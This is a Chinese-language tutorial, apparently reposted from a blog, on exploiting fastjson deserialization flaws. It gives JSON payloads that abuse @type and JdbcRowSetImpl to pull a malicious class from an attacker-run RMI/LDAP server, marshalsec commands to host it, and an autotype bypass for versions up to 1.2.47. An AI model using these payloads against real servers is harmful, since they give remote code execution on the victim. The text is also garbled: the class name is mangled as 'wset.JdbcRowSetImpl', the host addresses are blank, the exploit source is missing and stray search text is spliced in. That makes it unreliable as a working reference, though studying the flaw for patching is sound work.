fastjson反序列化漏洞
⽬录
前⾔
fastjson是阿⾥开发的json解析库,可以将java对象解析为json,也可以将json反序列化为java对象,主要⽤json.parse()⽅法进⾏反序列化。
⼀、漏洞原理
由于fastjson存在autotype功能,若开启了autotype功能(即autoTypeSupport=True),那么就可以引⽤@type指定反序列化的类,⽽若类中使⽤了json.parse()反序列化了恶意数据,那么就会造成任意代码执⾏。
⼆、漏洞复现
2.1 fastjson<=1.2.24
可以直接抓包发送@type格式的json数据,fastjson会调⽤指定的类然后运⾏远程恶意class⽂件
如{"@type":"wset.JdbcRowSetImpl","dataSourceName":"rmi://:1098/jndi", "autoCommit":true}
指定反序列化wset.JdbcRowSetImpl类,然后利⽤rmi远程获取poc执⾏恶意代码。
2.2 1.2.24<=fastjson<=1.2.47
这时fastjson默认不开启autotype功能,导致⽆法直接指定类,我们需要使⽤java.lang.class指定类放⼊缓存中,然后fastjson会直接调⽤缓存中的类,从⽽绕过⿊名单检测fastjson怎么用
2.2.1 在攻击机上编译类
Exploit.java(命令可以随意更改)
编译成Exploit.class
javac Exploit.java
2.2.2 开启rmi和ldap服务
在攻击机上开启rmi或者ldap服务,可以使⽤marshalsec开启
下载下来以后使⽤maven打包
mvn clean package -DskipTests
把target下的marshalsec-0.0.3-SNAPSHOT-all.jar上传攻击机上,
启动rmi和ldap服务,将result重定向到Exploit服务器⽬录
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "/#Exploit" 9999
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "/#Exploit" 9999
2.2.3 写⼊poc
接着在在服务器上⽤burp抓包,输⼊json格式的poc
{
"a": {
"@type": "java.lang.Class",
"val": "wset.JdbcRowSetImpl"
},
"b": {
"@type": "wset.JdbcRowSetImpl",
"dataSourceName": "rmi://:9999/Exploit", //这⾥可以换做ldap://:9999/Exploit "autoCommit": true
}
}
参考资料
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论